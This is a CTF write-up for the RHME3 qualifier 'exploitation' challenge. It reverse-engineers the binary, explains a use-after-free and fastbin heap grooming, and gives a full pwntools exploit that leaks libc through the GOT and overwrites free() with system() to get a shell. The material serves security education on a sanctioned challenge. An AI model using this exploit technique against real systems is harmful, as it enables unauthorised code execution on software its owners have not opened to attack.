Writeup CTF RHME3: exploitation
Also this year there will be a CTF from Riscure mainly targeted for hardware security people, but before that, from the 8th of August until the 28th there was the qualification phase: three challenges to solve in order to qualify and to receive a physical board with the real challenges.
In this post I'll write about the only challenge that I was able to solve named exploitation;
the other two weren't too complicated but more about side channel attacks and
very specific tools that I didn't know about so I preferred to do not waste too much of my time
and wait to learn from other people writeup (by the way, I was very near
the solution of the tracing challenge, only matter of changing the algorithm
in deadpool
but this is a story for another time).
The challenge was a remote one, but the binary (main.elf) was provided together with its system library (libc).
The protections (all but PIE
are enabled)
$ checksec --file main.elf [*] 'main.elf' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
hints us that probably a ropchain would be necessary.
Preliminaries
First of all was necessary to find the port number to which connect to the
server: using radare2
I reversed the main()
function
[0x00400ec0]> s main [0x004021a1]> pd 20 ;-- main: / (fcn) main 205 | main (); | ; var int local_9h @ rbp-0x9 | ; var int local_8h @ rbp-0x8 | ; var int local_4h @ rbp-0x4 | ; DATA XREF from 0x00400edd (entry0) | 0x004021a1 55 push rbp | 0x004021a2 4889e5 mov rbp, rsp | 0x004021a5 4883ec10 sub rsp, 0x10 | 0x004021a9 c645f700 mov byte [local_9h], 0 | 0x004021ad bf18264000 mov edi, 0x402618 | 0x004021b2 e87ceeffff call sym.background_process | 0x004021b7 bf39050000 mov edi, 0x539 | 0x004021bc e85eefffff call sym.serve_forever
I found at address 0x004021b7
that a value of 0x539
is passed as argument to serve_forever()
;
using the numerical conversion functionality inside my reversing tool I obtained
[0x004021a1]> ? 0x539 1337 0x539 02471 1.3K 0000:0539 1337 "9\x05" 0000010100111001 1337.0 1337.000000f 1337.000000
trying that value as port number now I can connect to the challenge:
$ nc pwn.rhme.riscure.com 1337 Welcome to your TeamManager (TM)! 0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice:
The application setup routine checks for a specific path and user existence,
if they don't exist it exits. Otherwise it forks in order to daemonize()
itself and forks again when a connection is made. This makes attach gdb
to the process a pain in the ass.
To make easier to debug the executable I preferred to nop
the binary
in the daemonize
part using again radare2
$ cp main.elf main_modified.elf $ r2 -w -A main_modified.elf [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Constructing a function name for fcn.* and sym.func.* functions (aan) -- Change the size of the file with the 'r' (resize) command [0x00400ec0]> s 0x004021ad [0x004021ad]> wx 9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090 [0x004021ad]> o 3 * main_modified.elf : -rw- size=0x4c68 +0x0 0x0 - 0x4c68 : -rw- : [0x004021ad]> wc
Now it was possible to have a not forking executable that uses its own
stdin
and stdout
for interact with the user, much more easy to deal with.
Otherwise you can this Dockerfile
FROM ubuntu:17.04 RUN apt-get update RUN apt-get upgrade -y #RUN apt-get install -y gdb RUN adduser pwn --home /opt/riscure/pwn COPY main.elf /opt/riscure/pwn COPY libc.so.6 /opt/riscure/pwn EXPOSE 1337 ENV LD_LIBRARY_PATH=/opt/riscure/pwn CMD "/opt/riscure/pwn/main.elf"
with which you can create a container and launch it with the followind command
$ docker build -t rhme3/exploitation . $ docker run -p 1337:1337 rhme3/exploitation
Now you have the challenge running at localhost
.
Analysis
It seems a kind of players list application; after a little bit of usage a strange pattern appears: in order to visualize and edit, you need to select before a player, instead to remove one you enter the index after, this weird UI is probably source of some bugs.
Indeed if you select a player, remove it and then visualize it you obtain a strange looking output. we have here an user after free vulnerability! Below an example
0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice: 5 Name: A/D/S/P: 39363632,0,1,1
With a well-crafted input this should become an info leak usable to defeat ASLR
,
so studying the data structure and input retrieving is the next step.
Analyzing the way in which the player data is accessed I suppose that the original
data structure could be the following (in C
):
struct _player { uint32_t attack; uint32_t defense; uint32_t speed; uint32_t precision; char* name; }
When a player is created there are two allocation in the heap, the first one is of 0x20
bytes and it's
for this data structure.
The name
is allocated with enough space to contain it, but take
in mind that there is a limit of 256 bytes in the character name (including the NULL
terminating byte)
when processed by the function readline()
.
When a name is modified and extended then the buffer's address is passed to realloc()
. All the data passing
is done via strcpy()
, so we cannot insert a NULL
byte in the middle of a payload.
Setup the weird machine dancing with the heap
How to exploit this UAE
? first of all we need to understand how the heap
usually works: here is used the glibc's allocator but the internals are not
necessary (if you are interested this is a must read),
the only thing that matters is that, for performance reason, when
a block of a given size is deallocated is put in a LIFO
where will be available
for future allocation of the same size. Technically speaking this is true only
for allocation with size lower than 0x80
bytes and the list of unallocated
objects is called fastbin.
Our target is to create a player having the name allocated where we previously had a selected player: this is possible just playing with the allocations.
The rules to take in mind for the allocations/deallocations of a player are
- the last unallocated chunk with the same size is used for a new allocation with the same size
- the player's name is the last allocated when a player is added and the first deallocated when a player is removed
- the player's data structure has always the same size of
0x20
bytes - the player's name can have a size up to
255
bytes.
Below I used some diagrams created with villoc to better explain the process.
First of all we create two players, one with a name that can fit in a 0x20
bytes:
Then I add a second player with a name that doesn't fit into 0x20
bytes
At this point I select the first player and I'm ready to alter the heap configuration with my dance: I remove the first player
and then remove the second:
now we have a fastbin with 3 elements with size 0x20
and one with size 0x30
.
Adding a new player with the name fitting
in 0x20
I obtain a name allocated where the first player's
data structure was!
R/W primitives vs the GOT
With this configuration we have now a read/write primitive to an user
controlled address: using a GOT entry inside the executable as
part of the name of the player we can now read what's the address resolved
by the dynamic loader so to bypass ASLR
; then
using a write I can overwrite that address to the one pointing to
a function more valuable: if I overwrite the GOT entry for the
free()
function with the system()
, it's possible to execute a shell
simply removing a player with name /bin/sh
;)
This approach has two drawbacks:
- you cannot write the bytes
\n
and\0
, so if your address has a digit with these values you need to change the overwritten function if possible or use a more generic primitive. - it's one-shot: you cannot change the address without redoing the dance
Exploit
For completeness below you can read the exploit used to solve the challenge,
it needs the executable and its system library in the same directory
where this file lives. Remember to export LD_LIBRARY_PATH
if
you want to try it and to install pwntools
.
# encoding:utf8 from pwn import args, log from pwnlib.tubes import process, remote from pwnlib.util import packing from pwnlib.elf.elf import ELF import os import sys def recvuntil_main_menu(t): return t.recvuntil('6.- Show team\nYour choice: ', timeout=4) def add_player(t, name): t.sendline('1') response = t.recvuntil('Enter player name: ') t.sendline(name) t.sendline('1') t.sendline('1') t.sendline('1') t.sendline('1') recvuntil_main_menu(t) def select_player(t, index): t.sendline('3') t.recvuntil('Enter index: ') t.sendline(str(index)) recvuntil_main_menu(t) def edit_player(t, name): t.sendline('4') t.recvuntil('5.- Set precision\nYour choice: ') t.sendline('1') t.recvuntil('Enter new name: ') t.sendline(name) t.sendline('0') return recvuntil_main_menu(t) def show_player(t): t.sendline('5') return recvuntil_main_menu(t) def delete_player(t, index): t.sendline('2') t.recvuntil('Enter index: ') t.sendline(str(index)) recvuntil_main_menu(t) def name_from_address(address): address = packing.p32(address) return "A"*16 + address[:-1] # the NULL byte will be inserted by the application def extract_value_from_player_infos(text): start = text.index(': ') + 2 end = text.index('\n\tA/D') return text[start:end] def setup(t, got, offset): ''' We initiate a dance that allows to build a read/write primitive playing with the fastbin chunks: the steps of this dance are 1. add a player with a name length equal to the struct size 2. add another player with a name length greater than the struct size 3. select the first player 4. remove the first player (index 0) 5. remove the second player (index 1) 6. add a new player with name length matching the struct size At this point the name field of the selected (and free) player points to the last 4 bytes of the string containing the name of the unique player. For now it's not clean, I mean, you have an unsorted chunk to be handled to restart a new dance ;) ''' log.info('trying to overwrite got @0x%x' % got) add_player(t, "A"*15) # 16 - null byte add_player(t, "B"*30) select_player(t, 0) delete_player(t, 0) delete_player(t, 1) add_player(t, name_from_address(got)) output = show_player(t) log.debug(output) value = extract_value_from_player_infos(output) log.debug(repr(value)) address_libc = packing.u64(value + '\x00\x00') log.info('libc function address 0x%x' % address_libc) address_libc_base = address_libc - offset log.info('libc base address 0x%x' % (address_libc_base)) return address_libc_base def get_target(extra_bp=None): target = None cwd = os.path.dirname(__file__) target_path = os.path.join(cwd, 'main_modified.elf') if args.LOCAL: target_args = [target_path,] if not args.GDB else ['gdb', target_path] target = process.process(target_args, aslr=True) if args.GDB: target.recvuntil('gef➤ ') target.sendline('b main') #target.sendline('b *0x00401640') #target.sendline('commands') #target.sendline('heap bins') #target.sendline('continue') #target.sendline('end') target.sendline('r') #target.sendline('heap-analysis-helper') if args.INTERACTIVE: target.interactive() sys.exit(0) if extra_bp: target.sendline('b *%s' % hex(extra_bp)) target.sendline('c') else: target = remote.remote('pwn.rhme.riscure.com', 1337) return target, ELF(target_path) if __name__ == '__main__': target, elf = get_target(extra_bp=None) path_exploit = os.path.dirname(__file__) libc = ELF(os.path.join(path_exploit, 'libc.so.6')) # first menu recvuntil_main_menu(target) # setup the heap so that editing the player willwrite to the GOT of a function address_base_libc = setup(target, elf.got['free'], libc.symbols['free']) # free address_one_gadget = address_base_libc + libc.symbols['system'] log.info('one gadget at 0x%x' % address_one_gadget) edit_player(target, packing.p64(address_one_gadget)) # one_gadget add_player(target, '/bin/sh') delete_player(target, 1) target.interactive()
The important parts are the functions setup()
and __main__
.
Conclusion
Finally the challenge is solved:
$ python exploit.py [*] trying to overwrite got @0x603018 [*] libc function address 0x7f676dc944f0 [*] libc base address 0x7f676dc10000 [*] one gadget at 0x7f676dc55390 [*] Switching to interactive mode $ ls flag main.elf $ cat flag RHME3{h3ap_0f_tr0uble?}
It was a very interesting challenge: didn't use the very common buffer overflow but a simple
logic bug; in particular shows that also with a number of modern protection the exploiting
it's very possible. Probably enabling PIE
should have make more troublesome the creation of a weird machine.
Comments
Comments powered by Disqus